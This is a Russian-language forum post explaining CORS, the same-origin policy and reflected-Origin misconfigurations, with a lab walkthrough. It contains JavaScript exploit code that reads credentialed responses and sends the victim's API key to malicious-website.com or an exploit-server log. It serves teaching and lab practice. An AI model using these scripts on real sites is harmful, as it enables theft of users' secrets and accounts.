Vander
Staff member
- Nov 10, 2019
- 468
- 1,156
Что такое CORS (cross-origin resource sharing)?
Cross-origin resource sharing (CORS) - это механизм браузера, который обеспечивает контролируемый доступ к ресурсам, расположенным за пределами данного домена. Он расширяет и добавляет гибкости политике одного происхождения (SOP). Однако он также предоставляет возможность для междоменных атак, если политика CORS веб-сайта плохо настроена и реализована. CORS не защищает от атак из разных источников, таких как подделка межсайтовых запросов (CSRF).
Same-origin policy - это ограничительная спецификация для разных источников, которая ограничивает возможность веб-сайта взаимодействовать с ресурсами за пределами исходного домена. Same-origin policy была определена много лет назад в ответ на потенциально злонамеренные междоменные взаимодействия, такие как кража одним веб-сайтом личных данных у другого. Обычно это позволяет домену отправлять запросы другим доменам, но не получать доступ к ответам.
Ослабление same-origin policy
Same-origin policy очень ограничительна, и, следовательно, были разработаны различные подходы для обхода ограничений. Многие веб-сайты взаимодействуют с поддоменами или сторонними сайтами таким образом, что требуется полный доступ между источниками. Управляемое ослабление политики одного и того же происхождения возможно с помощью совместного использования ресурсов между источниками (CORS).
Протокол совместного использования ресурсов между источниками использует набор заголовков HTTP, которые определяют надежные источники Интернета и связанные свойства, например, разрешен ли доступ с проверкой подлинности. Они объединяются при обмене заголовками между браузером и веб-сайтом из разных источников, к которому он пытается получить доступ.
Уязвимости, возникающие из-за проблем с конфигурацией CORS
Многие современные веб-сайты используют CORS, чтобы разрешить доступ из поддоменов и доверенных третьих лиц. Их реализация CORS может содержать ошибки или быть чрезмерно снисходительной, чтобы гарантировать, что все работает, и это может привести к уязвимостям, которые можно использовать.
Сгенерированный сервером заголовок ACAO из указанного клиентом заголовка Origin
Некоторым приложениям необходимо предоставлять доступ к ряду других доменов. Ведение списка разрешенных доменов требует постоянных усилий, а любые ошибки могут нарушить функциональность. Таким образом, некоторые приложения выбирают простой путь, позволяющий эффективно разрешить доступ из любого другого домена.
Один из способов сделать это - прочитать заголовок Origin из запросов и включить заголовок ответа, в котором говорится, что запрашивающий источник разрешен. Например, рассмотрим приложение, которое получает следующий запрос:
Code:
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
Code:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
Поскольку приложение отражает произвольное происхождение в заголовке Access-Control-Allow-Origin, это означает, что абсолютно любой домен может получить доступ к ресурсам из уязвимого домена. Если ответ содержит какую-либо конфиденциальную информацию, такую как ключ API или токен CSRF, вы можете получить ее, разместив на своем веб-сайте следующий скрипт:
Code:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
Этот веб-сайт имеет небезопасную конфигурацию CORS, поскольку он доверяет всем источникам.
Чтобы решить эту проблему, создайте некоторый JavaScript, который использует CORS для получения ключа API администратора и загрузки кода на ваш сервер эксплойтов. Лабораторная работа решена, когда вы успешно отправляете ключ API администратора.
Перехватываем запрос, в котором содержатся аутентификационные данные:
Просмотрите историю и обратите внимание, что ваш ключ извлекается с помощью запроса AJAX к / accountDetails, а ответ содержит заголовок Access-Control-Allow-Credentials, предполагающий, что он может поддерживать CORS.
Обратите внимание, что origin отражено в заголовке Access-Control-Allow-Origin.
Code:
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','$url/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
Нажмите «Access log», получите и отправьте API-ключ жертвы, чтобы завершить лабораторную работу.
Спасибо за внимание, материал подготовлен специаль но для protey.net